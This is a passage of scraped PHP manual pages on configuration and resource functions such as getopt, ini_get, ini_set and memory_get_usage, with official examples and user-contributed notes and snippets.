If the initial arguments are invalid you can have the shell script return an error without calling the PHP script. Sounds convoluted but is a very simple solution and in fact PHP's own % pear command uses this method. /usr/bin/pear is a shell script that does some simle checking before calling pearcmd.php and repassing the arguments on to it.

The second method is by far the best for portability because it allows a single shell script to check a few things like your PHP version and respond acordingly e.g. does it call your PHP4 or PHP5 compatible script? Also, because getopt() is not available on Windows, The second solution allows you to do Windows specific testing as a BAT file (as oposed to BASH, ZSH or Korn on UNIX).
daevid at daevid dot com 31-May-2005 01:11
This is how I parse command line options:

<?php
$OPTION['debug'] = false;
$OPTION['test'] = false;
$OPTION['force'] = "";

//loop through our arguments and see what the user selected
   for ($i = 1; $i < $_SERVER["argc"]; $i++)
   {
       switch($_SERVER["argv"][$i])
       {
           case "-v":
           case "--version":
            echo  $_SERVER['argv'][0]." v07.19.04 06:10 PM\n";
            exit;
               break;

           case "--debug":
               $OPTION['debug'] = true;
               break;

           case "--force":
               $OPTION['force'] = " --force";
               break;

           case "--db":
           case "--database":
           case "--id":
            if ( is_numeric($_SERVER['argv'][$i+1]) )
                $OPTION['CompanyID'] = intval($_SERVER['argv'][++$i]);
            else //it must be a database name
                $OPTION['CompanyDB'] = $_SERVER['argv'][++$i];
               break;

           case "--base":
           case "--basedir":
           case "--dir":
               $OPTION['basedir'] = $_SERVER["argv"][++$i];
               break;

           case "--test":
               $OPTION['test'] = true;
               break;

           case "-?":
           case "-h":
           case "--help":
?>
This will print any .txt files, process any .sql files and
execute any .php files found starting from the base directory
'<?=$OPTION['basedir']?>' in alphabetical order.

 Usage: <?php echo $_SERVER['argv'][0]; ?> <option>

 --help, -help, -h, or -?     to get this help.
 --version                    to return the version of this file.
 --debug                    to turn on output debugging.
 --test                        to fake the SQL and PHP commands.
 --force                    to ignore SQL errors and keep on going.
 --db [CompanyDB]            to apply to only this [CompanyDB].
 --id [CompanyID]            to apply to only this [CompanyID].
 --basedir [directory]        to change base directory from <?=$OPTION['basedir']?>.
 Omitting the CompanyID or CompanyDB will cause ALL Company DB's to be updated.

 There are global files and per-company files. Global files are applied to global
 databases (see list below). Their filename contains a tag that reflects the database
 to apply them against. Per-company files are applied against databases. Their
 filename contains a tag that reads 'COMPANY'. Files should be in <?=$OPTION['basedir']?>;
 Global files that are understood:
<?=$OPTION['basedir']?>
 <?php foreach ($GLOBAL_SQL_FILES as $sqlFile) echo $sqlFile."   "; ?>

<?php
               exit;
               break;
       }
   } //parse arguments

//    print_r($OPTION);
?>
chris at tiny dot net 23-Apr-2004 07:17
"phpnotes at kipu dot co dot uk" and "tim at digicol dot de" are both wrong or misleading.  Sean was correct.  Quoted space-containing strings on the command line are one argument.  It has to do with how the shell handles the command line, more than PHP.  PHP's getopt() is modeled on and probably built upon the Unix/POSIX/C library getopt(3) which treats strings as strings, and does not break them apart on white space.

Here's proof:

$ cat opt.php
#! /usr/local/bin/php
<?php
$options = getopt("f:");
print_r($options);
?>
$ opt.php -f a b c
Array
(
    [f] => a
)
$ opt.php -f 'a b c'
Array
(
    [f] => a b c
)
$ opt.php -f "a b c"
Array
(
    [f] => a b c
)
$ opt.php -f a\ b\ c
Array
(
    [f] => a b c
)
$
getmyuid
getrusage
PHP Options/Info Functions


Gets the current resource usages

getopt
ini_alter
PHP Options/Info Functions
PHP Manual

getrusage

(PHP 4, PHP 5)

getrusage — Gets the current resource usages

Description

array getrusage ([ int $who = 0 ] )

This is an interface to getrusage(2). It gets data returned from the system call.

Parameters

who

If who is 1, getrusage will be called with RUSAGE_CHILDREN.

Return Values

Returns an associative array containing the data returned from the system call. All entries are accessible by using their documented field names.

Examples

Example #1 getrusage() example

<?php
$dat = getrusage();
echo $dat["ru_nswap"];         // number of swaps
echo $dat["ru_majflt"];        // number of page faults
echo $dat["ru_utime.tv_sec"];  // user time used (seconds)
echo $dat["ru_utime.tv_usec"]; // user time used (microseconds)
?>

Notes

Note: This function is not implemented on Windows platforms.

See Also

  • Your system's man page on getrusage(2)

User Contributed Notes

Domas Mituzas 14-Jan-2008 01:22
getrusage() reports kernel counters that are updated only once application loses context and a switch to kernel space happens. For example on modern Linux server kernels that would mean that getrusage() calls would return information rounded at 10ms, desktop kernels - at 1ms.

getrusage() isn't usable for micro-measurements at all - and getmicrotime(true) might be much more valuable resource.
php at lavrenko dot pp dot ru 19-Oct-2005 04:21
The author of the article mentioned in the previous post says "Once I got a negative value for both times - I have absolutely no clue how that can happen.". This is because time in microseconds is not padded with zeros from the left, therefore, you cannot concatenate the two numbers. Instead, you should normalize the values and then add them up:

$dat["ru_utime.tv_sec"]*1e6+$dat["ru_utime.tv_usec"];
getopt
ini_alter
PHP Options/Info Functions


Alias of ini_set

getrusage
ini_get_all
PHP Options/Info Functions
PHP Manual

ini_alter

(PHP 4, PHP 5)

ini_alter — Alias of ini_set()

Description

This function is an alias of: ini_set().

User Contributed Notes

There are no user contributed notes for this page.
getrusage
ini_get_all
PHP Options/Info Functions


Gets all configuration options

ini_alter
ini_get
PHP Options/Info Functions
PHP Manual

ini_get_all

(PHP 4 >= 4.2.0, PHP 5)

ini_get_all — Gets all configuration options

Description

array ini_get_all ([ string $extension [, bool $details = true ]] )

Returns all the registered configuration options.

Parameters

extension

An optional extension name. If set, the function return only options specific for that extension.

details

Retrieve details settings or only the current value for each setting. Default is TRUE (retrieve details).

Return Values

Returns an associative array with directive name as the array key.

When details is TRUE (default) the array will contain global_value (set in php.ini), local_value (perhaps set with ini_set() or .htaccess), and access (the access level).

When details is FALSE the value will be the current value of the option.

See the manual section for information on what access levels mean.

Note:

It's possible for a directive to have multiple access levels, which is why access shows the appropriate bitmask values.

Changelog

Version | Description
5.3.0 | Added details.

Examples

Example #1 ini_get_all() examples

<?php
print_r(ini_get_all("pcre"));
print_r(ini_get_all());
?>

The above example will output something similar to:

Array
(
    [pcre.backtrack_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

    [pcre.recursion_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

)
Array
(
    [allow_call_time_pass_reference] => Array
        (
            [global_value] => 0
            [local_value] => 0
            [access] => 6
        )

    [allow_url_fopen] => Array
        (
            [global_value] => 1
            [local_value] => 1
            [access] => 4
        )

    ...

)

Example #2 Disabling details

<?php
print_r(ini_get_all("pcre", false)); // Added in PHP 5.3.0
print_r(ini_get_all(null, false)); // Added in PHP 5.3.0
?>

The above example will output something similar to:

Array
(
    [pcre.backtrack_limit] => 100000
    [pcre.recursion_limit] => 100000
)
Array
(
    [allow_call_time_pass_reference] => 0
    [allow_url_fopen] => 1
    ...
)

See Also

  • How to change configuration settings
  • ini_get() - Gets the value of a configuration option
  • ini_restore() - Restores the value of a configuration option
  • ini_set() - Sets the value of a configuration option
  • get_loaded_extensions() - Returns an array with the names of all modules compiled and loaded
  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

root at mantoru dot de 21-Jan-2008 01:33
Since a certain PHP version (I think it's 5.2.5) it is no longer possible to override INI entrys set with php_admin_* in httpd.conf. The access level will be set to 4 (PHP_INI_SYSTEM), which is also returned by this function.

The constants mentioned below are available in PHP, but without the prefix (e.g. INI_USER, INI_PERDIR).
justd@ntmailme 20-Dec-2002 08:15
I guess the third entry is the required access level (to change this variable at runtime):

Constant           Value      Meaning
PHP_INI_USER      1          Entry can be set in user scripts
PHP_INI_PERDIR    2          Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM    4          Entry can be set in php.ini or httpd.conf
PHP_INI_ALL       7          Entry can be set anywhere

See also the docs for ini_set()

Hugo.
ini_alter
ini_get
PHP Options/Info Functions


Gets the value of a configuration option

ini_get_all
ini_restore
PHP Options/Info Functions
PHP Manual

ini_get

(PHP 4, PHP 5)

ini_get — Gets the value of a configuration option

Description

string ini_get ( string $varname )

Returns the value of the configuration option on success.

Parameters

varname

The configuration option name.

Return Values

Returns the value of the configuration option as a string on success, or an empty string for null values. Returns FALSE if the configuration option doesn't exist.

Examples

Example #1 A few ini_get() examples

<?php
/*
Our php.ini contains the following settings:

display_errors = On
register_globals = Off
post_max_size = 8M
*/

echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));

function return_bytes($val) {
    $val = trim($val);
    $last = strtolower($val[strlen($val)-1]);
    switch($last) {
        // The 'G' modifier is available since PHP 5.1.0
        case 'g':
            $val *= 1024;
        case 'm':
            $val *= 1024;
        case 'k':
            $val *= 1024;
    }

    return $val;
}

?>

The above example will output something similar to:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608

Notes

Note: When querying boolean values

A boolean ini value of off will be returned as an empty string or "0" while a boolean ini value of on will be returned as "1". The function can also return the literal string of INI value.

Note: When querying memory size values

Many ini memory size values, such as upload_max_filesize, are stored in the php.ini file in shorthand notation. ini_get() will return the exact string stored in the php.ini file and NOT its integer equivalent. Attempting normal arithmetic functions on these values will not have otherwise expected results. The example above shows one way to convert shorthand notation into bytes, much like how the PHP source does it.

See Also

  • get_cfg_var() - Gets the value of a PHP configuration option
  • ini_get_all() - Gets all configuration options
  • ini_restore() - Restores the value of a configuration option
  • ini_set() - Sets the value of a configuration option

User Contributed Notes

Ivo Mandalski 15-Nov-2011 08:27
This version of return_bytes takes care of the MB, GB, KB cases along with the M,G,K ones.
Hope this is helpful!

<?php
    public static function return_bytes ($val)
    {
        if(empty($val))return 0;

        $val = trim($val);

        preg_match('#([0-9]+)[\s]*([a-z]+)#i', $val, $matches);

        $last = '';
        if(isset($matches[2])){
            $last = $matches[2];
        }

        if(isset($matches[1])){
            $val = (int) $matches[1];
        }

        switch (strtolower($last))
        {
            case 'g':
            case 'gb':
                $val *= 1024;
            case 'm':
            case 'mb':
                $val *= 1024;
            case 'k':
            case 'kb':
                $val *= 1024;
        }

        return (int) $val;
    }
?>
Stas Trefilov, OpteamIS 26-Mar-2010 10:08
another version of return_bytes which returns faster and does not use multiple multiplications (sorry:). even if it is resolved at compile time it is not a good practice;
no local variables are allocated;
the trim() is omitted (php already trimmed values when reading php.ini file);
strtolower() is replaced by second case which wins us one more function call for the price of doubling the number of cases to process (may slower the worst-case scenario when ariving to default: takes six comparisons instead of three comparisons and a function call);
cases are ordered by most frequent goes first (uppercase M-values being the default sizes);
specs say we must handle integer sizes so float values are converted to integers and 0.8G becomes 0;
'Gb', 'Mb', 'Kb' shorthand byte options are not implemented since are not in specs, see
http://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes

<?php
function return_bytes ($size_str)
{
    switch (substr ($size_str, -1))
    {
        case 'M': case 'm': return (int)$size_str * 1048576;
        case 'K': case 'k': return (int)$size_str * 1024;
        case 'G': case 'g': return (int)$size_str * 1073741824;
        default: return $size_str;
    }
}
?>
nicolas dot grekas+php at gmail dot com 19-Aug-2009 10:51
Here is how to accurately test for boolean php.ini values:

<?php

function ini_get_bool($a)
{
    $b = ini_get($a);

    switch (strtolower($b))
    {
    case 'on':
    case 'yes':
    case 'true':
        return 'assert.active' !== $a;

    case 'stdout':
    case 'stderr':
        return 'display_errors' === $a;

    default:
        return (bool) (int) $b;
    }
}

?>
Nathaniel Sabanski 15-Mar-2009 02:20
Here's a simplified version of return_bytes() that does not rely on non-breaking cases and variable variables.

<?php

function return_bytes($val)
{
    $val = trim($val);
    $last = strtolower(substr($val, -1));

    if($last == 'g')
        $val = $val*1024*1024*1024;
    if($last == 'm')
        $val = $val*1024*1024;
    if($last == 'k')
        $val = $val*1024;

    return $val;
}

?>
peter 29-Jul-2008 02:25
The above example function called return_bytes() assumes that ini_get('upload_max_filesize') delivers only one letter at the end. As I've seen 'Mb' and things like that, I'd suggest to change the $last = ... part into $last = strtolower(substr($val,strlen($val/1),1)).
I'd call it $unit then.
filh at filh dot org 21-Nov-2005 06:24
Concerning the value retourned, it depends on how you set it.
I had the problem with horde-3 which test the safe_mode value.
THan :
- if you set the value with php_admin_value safe_mode Off (or On) ini_get returns the string
- if you set the value with php_admin_flag safe_mode Off (or On) ini_get returns the boolean.
31-Oct-2005 11:16
Important: The manual says that ini_get will return 0 or an empty string for boolean config values that are set to off in php.ini.

This is technically correct, however when you use

php_value register_globals off

in an .htaccess file, ini_get will return the string, which will "evaluate" to 1. So if you are using mod_php you have to check boolean config values against the strings (upper/lowercase etc.) anyhow or you will get wrong results.
david dot tulloh at infaze dot com dot au 21-Jun-2005 07:01
You can set custom entries in the ini file to provide globals such as database details.
However these must be retrieved with get_cfg_var, ini_get won't work.
Der Graph 16-Aug-2004 11:59
It might be useful for included scripts that include other files to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>

Sometimes, it may also be useful to store the current 'include_path' in a variable, overwrite it, include, and then restore the old 'include_path'.
fbeyer at <nospam>clickhand dot de 13-Aug-2002 07:29
If you want to test ini flags (eg. On/Off), I recommend to explicitly cast the value returned by ini_get() to boolean - it is cleaner as you only get true or false, not 0 or 1 or "" as described above.

<?php
    $register_globals = (bool) ini_get('register_gobals');
?>

C fans may of course also cast it to (int) to play with 0 and 1 - that's also cleaner to print().
ini_get_all
ini_restore
PHP Options/Info Functions


Restores the value of a configuration option

ini_get
ini_set
PHP Options/Info Functions
PHP Manual

ini_restore

(PHP 4, PHP 5)

ini_restore — Restores the value of a configuration option

Description

void ini_restore ( string $varname )

Restores a given configuration option to its original value.

Parameters

varname

The configuration option name.

Return Values

No value is returned.

Examples

Example #1 ini_restore() example

<?php
$setting = 'y2k_compliance';

echo 'Current value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_set($setting, ini_get($setting) ? 0 : 1);
echo 'New value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_restore($setting);
echo 'Original value for \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;
?>

The above example will output:

Current value for 'y2k_compliance': 1
New value for 'y2k_compliance': 0
Original value for 'y2k_compliance': 1

See Also

  • ini_get() - Gets the value of a configuration option
  • ini_get_all() - Gets all configuration options
  • ini_set() - Sets the value of a configuration option

User Contributed Notes

There are no user contributed notes for this page.
ini_get
ini_set
PHP Options/Info Functions


Sets the value of a configuration option

ini_restore
magic_quotes_runtime
PHP Options/Info Functions
PHP Manual

ini_set

(PHP 4, PHP 5)

ini_set — Sets the value of a configuration option

Description

string ini_set ( string $varname , string $newvalue )

Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.

Parameters

varname

Not all the available options can be changed using ini_set(). There is a list of all available options in the appendix.

newvalue

The new value for the option.

Return Values

Returns the old value on success, FALSE on failure.

Examples

Example #1 Setting an ini option

<?php
echo ini_get('display_errors');

if (!ini_get('display_errors')) {
    ini_set('display_errors', 1);
}

echo ini_get('display_errors');
?>

See Also

  • get_cfg_var() - Gets the value of a PHP configuration option
  • ini_get() - Gets the value of a configuration option
  • ini_get_all() - Gets all configuration options
  • ini_restore() - Restores the value of a configuration option
  • How to change configuration settings

User Contributed Notes

Nathan 08-Nov-2011 08:56
Careful - in some cases, when setting zlib.output_compression to "On" via ini_set, PHP won't send the Content-type header and browsers will garble the output. Set it to the desired buffer size instead, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>
MadJoker 12-Aug-2009 01:46
If you use gz_handler you might want to switch over to
zlib.output_compression

This can be controlled via the ini_set control.

<?php ini_set('zlib.output_compression', 'Off'); ?>

or

<?php ini_set('zlib.output_compression', 'On'); ?>
daevid at daevid dot com 30-Oct-2006 05:19
Be careful with setting an output_handler, as you can't use ini_set() to change it. *sigh*

In my php.ini I have this for my web pages (and I want it):

  output_handler = ob_gzhandler

But this causes my command line scripts to not show output until the very end.

#!/usr/bin/php -q
<?php
ini_set('output_handler', 'mb_output_handler');
echo "\noutput_handler => " . ini_get('output_handler') . "\n";
?>

root@# ./myscript.php
output_handler => ob_gzhandler

Apparently (acording to Richard Lynch):

> TOO LATE!
> The ob_start() has already kicked in by this point.
> ob_flush() until there are no more buffers.
RebootConcepts.com 31-Mar-2006 01:36
set PHP_INI_PERDIR settings in a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
Ron Ludwig 10-Jan-2006 11:30
When your ISP does not allow you to add the default include directories - it might be useful to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>
brainiac5 dot php at aimail dot de 05-Sep-2004 07:54
To find the apache php settings try something like this.
> cd /etc/apache2
> grep -r -n -i  safe_mode_exec_dir *.conf
or
> grep -r -n -i safe_mode.*On *.conf

If you find a gererated file, obviously you need to find the source template for it, to change what's needed there.

I just wasted a sunny Sunday on searching for where the heck safe_mode_exec_dir was changed.

And yes, Local Value in phpinfo does mean 'changed between the php.ini file and here', as you would think.

If you have an automated virtual host configuration, such as confixx, php ini values can be spread across very many files.

They can be changed in apache config files, that can have any name, but usually will end on .conf, besides in .htaccess files.
klw at gmx dot at 05-Sep-2004 06:49
To change settings from .htaccess files, it is also required that the directory permissions configured in Apache allow this.

The <Directory /foo/bar> entry in httpd.conf MUST contain "AllowOverride All" or at least "AllowOverride Options" to read PHP settings from the .htaccess file.

E.g. in Fedora Core 2, the default settings for /var/www/html/ are "AllowOverride None", so changing PHP settings via .htaccess for applications installed below /var/www/html/ will not work.
sean at php dot net 13-Aug-2004 06:54
While this doesn't belong in the manual, it should be useful for people looking on this page for zend_optimizer.* ini options, which are commonly installed:

Information on the "zend_optimizer.optimization_level" and "zend_optimizer.enable_loader" options is available at:

http://www.zend.com/support/user_docs/ZendOptimizer/PDF/ZendOptimizer_UserGuide.pdf
davey at its-explosive dot net 17-Mar-2003 06:42
If you set something using php_admin_value in httpd.conf it is then not possible to be set the value at runtime, even if it's NOT PHP_INI_SYSTEM.

Just an interesting note for Server admins this might come in handy to disable setting of certain things... like allow_url_fopen.

- Davey
miroslav AT simunic DOT de 29-Sep-2002 08:26
If it's not your server and therefore you want to hide the data in your session variables from other users, it�s very useful to set the session.save_handler in your scripts to shared memory with:

<?php ini_set('session.save_handler','mm'); ?>

Remember: You have to set it in every script that uses the session variables BEFORE "session_start()" or php won't find them.
Tr909 at com dot nospam dot bigfoot 12-Jun-2002 10:04
[[[Editors note: Yes, this is very true.  Same with
register_globals, magic_quotes_gpc and others.
]]]

Many settings, although they do get set, have no influence in your script.... like upload_max_filesize will get set but uploaded files are already passed to your PHP script before the settings are changed.

Also other settings, set by ini_set(), may be to late because of this (post_max_size etc.).
beware, try settings thru php.ini or .htaccess.
johnzoet at netscape dot com 13-Mar-2002 06:13
[[[Editors note: Just because you're able to set something
doesn't mean it will work as expected.  Depends on the
setting.  For example. setting register_globals at
runtime will be of little use as its job has already
been completed by the time it reaches your script.
]]]

When a setting can not be changed in a user script, the return value of ini_set is "empty", not "false" as you may expect.
If you check in your script for return value is "false" the script will continue processing, although the setting has not been set.
The boolean return value is used for settings that can be changed in a script. Otherwise the empty value is returned.
To test for both error conditions use:

<?php
if (empty($blnResult) or (!$blnResult)) {
   echo "setting cannot be set";
   exit;
}
?>
ini_restore
magic_quotes_runtime
PHP Options/Info Functions


Alias of set_magic_quotes_runtime

ini_set
main
PHP Options/Info Functions
PHP Manual

magic_quotes_runtime

(PHP 4, PHP 5)

magic_quotes_runtime — Alias of set_magic_quotes_runtime()

Description

This function is an alias of: set_magic_quotes_runtime()

User Contributed Notes

There are no user contributed notes for this page.
ini_set
main
PHP Options/Info Functions


Dummy for main

magic_quotes_runtime
memory_get_peak_usage
PHP Options/Info Functions
PHP Manual

main

main — Dummy for main()

Description

There is no function named main() except in the PHP source. In PHP 4.3.0, a new type of error handling in the PHP source (php_error_docref) was introduced. One feature is to provide links to a manual page in PHP error messages when the PHP directives html_errors (on by default) and docref_root (on by default until PHP 4.3.2) are set.

Sometimes error messages refer to a manual page for the function main() which is why this page exists. If you discover such a reference, please » file a bug report, indicating the PHP function caused the error that linked to main() and it will be fixed and properly documented.

Known errors that point to main()
Function name | No longer points here as of
include() | 5.1.0
include_once() | 5.1.0
require() | 5.1.0
require_once() | 5.1.0

See Also

  • html_errors
  • display_errors

User Contributed Notes

There are no user contributed notes for this page.
magic_quotes_runtime
memory_get_peak_usage
PHP Options/Info Functions


Returns the peak of memory allocated by PHP

main
memory_get_usage
PHP Options/Info Functions
PHP Manual

memory_get_peak_usage

(PHP 5 >= 5.2.0)

memory_get_peak_usage — Returns the peak of memory allocated by PHP

Description

int memory_get_peak_usage ([ bool $real_usage = false ] )

Returns the peak of memory, in bytes, that's been allocated to your PHP script.

Parameters

real_usage

Set this to TRUE to get the real size of memory allocated from system. If not set or FALSE only the memory used by emalloc() is reported.

Return Values

Returns the memory peak in bytes.

Changelog

Version | Description
5.2.1 | Compiling with --enable-memory-limit is no longer required for this function to exist.
5.2.0 | real_usage was added.

See Also

  • memory_get_usage() - Returns the amount of memory allocated to PHP
  • memory_limit

User Contributed Notes

kn33ch41 03-Jul-2010 01:10
It should be noted that this function is more accurate for measuring the total memory usage of a PHP script than memory_get_usage(), which will instead only return the amount of memory being used at the time it was invoked.

If this difference is still unclear just remember that as a PHP script builds its rendered version it uses varying amounts of memory per microsecond. Retrieving the peak memory usage will simply tell you that at one point the script required the use of "this much" memory in the microseconds that it took to build the page, which is certainly the more accurate number if your intention is to determine how much memory a script uses. It's useful to know this particularly when working in a shared environment with limited resources.

Furthermore, most standard installs of PHP limit memory usage per script to 8MB or 16MB in some cases; hosts tend to enforce such defaults. If you note the peak memory usage of your script is 7MB don't immediately worry or exacerbate the worry by doing a superficial calculation to tally how much memory the given page will consume for 1000 visitors, for example. Remember this very important fact: such peak script memory consumption is on the level of microseconds. The only way that particular script will require a dedicated 7000MB of memory, given our example, is if all 1000 visitors visited the page at the very same microsecond.

Is 8MB a lot for a script to consume? Is your page too expensive resource-wise if it does require a max of 8MB at one point? To answer either: not necessarily. An 8MB default was established precisely because it has been defined as a somewhat reasonable ceiling. My intent in stating this is to alleviate any benchmark or performance woes one may experience, particularly those who are new to the language. For example, if you're doing a simple database query or looping through relatively small arrays of data and you notice the script memory consumption has reached that ceiling, then, and only then, should you be alarmed; however, if you're performing multiple database queries with complex table joins or looping through huge arrays of data, then expect the peak memory consumption to be high, which in this case is reasonable. There's no absolute answer for determining unreasonable or average script peak memory consumption, but there are answers relative to the function or purpose of a given script.

A good article on the two functions mentioned is located at http://www.ibm.com/developerworks/opensource/library/os-php-v521/

Good day!
main
memory_get_usage
PHP Options/Info Functions


Returns the amount of memory allocated to PHP

memory_get_peak_usage
php_ini_loaded_file
PHP Options/Info Functions
PHP Manual

memory_get_usage

(PHP 4 >= 4.3.2, PHP 5)

memory_get_usage — Returns the amount of memory allocated to PHP

Description

int memory_get_usage ([ bool $real_usage = false ] )

Returns the amount of memory, in bytes, that's currently being allocated to your PHP script.

Parameters

real_usage

Set this to TRUE to get the real size of memory allocated from system. If not set or FALSE only the memory used by emalloc() is reported.

Return Values

Returns the memory amount in bytes.

Changelog

Version | Description
5.2.1 | Compiling with --enable-memory-limit is no longer required for this function to exist.
5.2.0 | real_usage was added.

Examples

Example #1 A memory_get_usage() example

<?php
// This is only an example, the numbers below will
// differ depending on your system

echo memory_get_usage() . "\n"; // 36640

$a = str_repeat("Hello", 4242);

echo memory_get_usage() . "\n"; // 57960

unset($a);

echo memory_get_usage() . "\n"; // 36744

?>

See Also

  • memory_get_peak_usage() - Returns the peak of memory allocated by PHP
  • memory_limit

User Contributed Notes

Alex Aulbach 22-Mar-2011 01:14
Note, that the official IEC-prefix for kilobyte, megabyte and so on are KiB, MiB, TiB and so on.

See http://en.wikipedia.org/wiki/Tebibyte

At first glance this may sound like "What the hell? Everybody knows, that we mean 1024 not 1000 and the difference is not too big, so what?". But in about 10 years, the size of harddisks (and files on them) reaches the petabyte-limit and then the difference between PB and PiB is magnificent.

Better to get used to it now. :)
John Lim 30-Nov-2010 02:45
It is claimed that this function calls the PHP memory garbage collector by some of the commenters.

A quick check of the source code (PHP 5.2.9) shows that this function does not do any garbage collection.

From var.c:

ZEND_API size_t zend_memory_usage(int real_usage TSRMLS_DC)
{
      if (real_usage) {
            return AG(mm_heap)->real_size;
      } else {
#if MEMORY_LIMIT
            return AG(mm_heap)->size;
#else
            return AG(mm_heap)->real_size;
#endif
      }
}

And from zend_alloc.c

/* {{{ proto int memory_get_usage([real_usage])
    Returns the allocated by PHP memory */
PHP_FUNCTION(memory_get_usage) {
      zend_bool real_usage = 0;

      if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|b", &real_usage) == FAILURE) {
            RETURN_FALSE;
      }

      RETURN_LONG(zend_memory_usage(real_usage TSRMLS_CC));
}
/* }}} */
lorin dot weilenmann at gmail dot com 26-Nov-2010 01:37
I can confirm that this function triggers a garbage collection. I have a script that exceeded 128MB of memory at some point and ended with a fatal error. I was confused, because the script dealt with some large files initially, but the memory load from that point on should have been marginal, and the error occurred at the very end.

Those large files were dealt in a dedicated function and i even used unset() on the variable holding the file after the file was written to disk inside that function. So the memory should have been cleared twice, first after the unset() call, and second once the function ended.

To debug the memory usage, I called memory_get_usage(true) at some points and echo-ed the memory allocation. Just by adding a few echos here and there in the script, the memory usage never exceeded 1MB overhead (on top of the current file size) and the memory error disappeared.
xelozz -at- gmail.com 18-Feb-2010 02:34
To get the memory usage in KB or MB

<?php
function convert($size)
 {
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
 }

echo convert(memory_get_usage(true)); // 123 kb
?>
mario 16-Nov-2009 09:11
not sure how this works internally but I have observed sort of side effects here: calling this function apparently triggers PHP's "garbage collector" -- and frees some memory. I managed to "fix" some savagely coded mess of a web application solely by calling this function just before the code that would usually throw out-of-memory errors. the php version there was 5.2.10
jeff dot peck at snet dot net 19-Aug-2009 09:22
To get the memory usage in KB or MB

<?php
    function echo_memory_usage() {
        $mem_usage = memory_get_usage(true);

        if ($mem_usage < 1024)
            echo $mem_usage." bytes";
        elseif ($mem_usage < 1048576)
            echo round($mem_usage/1024,2)." kilobytes";
        else
            echo round($mem_usage/1048576,2)." megabytes";

        echo "<br/>";
    }
?>
miteigi nemoto (miteigi at yandex dot ru) 18-Nov-2008 08:19
Decision a memory_get_usage problem for windows system

Tested OS: Windows XP
Server: Apache

PHP must be loaded as CGI to get correctly memory usage by Process ID ( getmypid() ) and with cmd-tools like tasklist.exe

PHP as CGI have your own PID instead constant Apache PID and you get a true memory size independed form Apache memory usage.

Configure in httpd.conf of Apache:

1. Comment the line like this:
LoadModule php4_module "/usr/local/php/sapi/php4apache.dll"
or
LoadModule php5_module "/usr/local/php5/php5apache.dll"

2. Add this and edit your path to php:
<Directory "z:/usr/local/php">
  Options ExecCGI
</Directory>
ScriptAlias "/__php_dir__/" "z:/usr/local/php/"
Action application/x-httpd-php "/__php_dir__/php.exe"

3. Restart Apache

Use this PHP-code:

<?php
/**
* A memory_get_usage() for Windows System, wich compiled without --enable-memory-limit
* PHP must be loaded as CGI
* Greetings form miteigi nemoto
* @return string
*/
function memory_get_usage_by_tasklist()
{
    $output = array();
    exec( 'tasklist ', $output );
    foreach ($output as $value)
    {
        $ex=explode(" ",$value);
        $count_ex=count($ex);
        if (eregi(" ".getmypid()." Console",$value))
        {
            $memory_size=$ex[$count_ex-2]." Kb";
            return $memory_size;
        }
    }
}
echo memory_get_usage_by_tasklist();
?>
joe at schmoe dot com 23-Dec-2006 12:44
the various memory_get_usage replacements here don't seem to work on Mac OS X 10.4(Intel)

I got it to work like this...

<?php
function memory_get_usage()
{
     $pid = getmypid();
     exec("ps -o rss -p $pid", $output);
     return $output[1] *1024;
}
?>
e dot a dot schultz at gmail dot com 08-Apr-2006 04:41
This is a function that should work for both Windows XP/2003 and most distrabutions of UNIX and Mac OS X.

<?php
if( !function_exists('memory_get_usage') )
{
    function memory_get_usage()
    {
        //If its Windows
        //Tested on Win XP Pro SP2. Should work on Win 2003 Server too
        //Doesn't work for 2000
        //If you need it to work for 2000 look at http://us2.php.net/manual/en/function.memory-get-usage.php#54642
        if ( substr(PHP_OS,0,3) == 'WIN')
        {
               if ( substr( PHP_OS, 0, 3 ) == 'WIN' )
                {
                    $output = array();
                    exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );

                    return preg_replace( '/[\D]/', '', $output[5] ) * 1024;
                }
        }else
        {
            //We now assume the OS is UNIX
            //Tested on Mac OS X 10.4.6 and Linux Red Hat Enterprise 4
            //This should work on most UNIX systems
            $pid = getmypid();
            exec("ps -eo%mem,rss,pid | grep $pid", $output);
            $output = explode("  ", $output[0]);
            //rss is given in 1024 byte units
            return $output[1] * 1024;
        }
    }
}
?>
grey - greywyvern - com 17-Aug-2005 12:37
If nothing else in the user notes below works for you, you can get a very (VERY) rough estimate of PHP memory usage by outputting the $GLOBALS array, stripping it of indentation whitespace, and counting the characters in the resulting string.  This method has a very high overhead (to be expected), but works on all operating systems, regardless of whether or not they have the --enable-memory-limit config option set.  I find that the syntax overhead of the print_r() statement roughly accounts for the PHP runtime base memory usage.

The code below is set up to work on all arrays, not just the $GLOBALS array.  Keep in mind that outside data referenced by resource IDs, such as database results and open file data, is not included in this total.

<?php

function array_size($arr) {
  ob_start();
  print_r($arr);
  $mem = ob_get_contents();
  ob_end_clean();
  $mem = preg_replace("/\n +/", "", $mem);
  $mem = strlen($mem);
  return $mem;
}

$memEstimate = array_size($GLOBALS);

?>

Use only if being off to either side by at least 20% is acceptible for your purposes.
vesa dot kivisto at nepton dot fi 14-Jul-2005 06:02
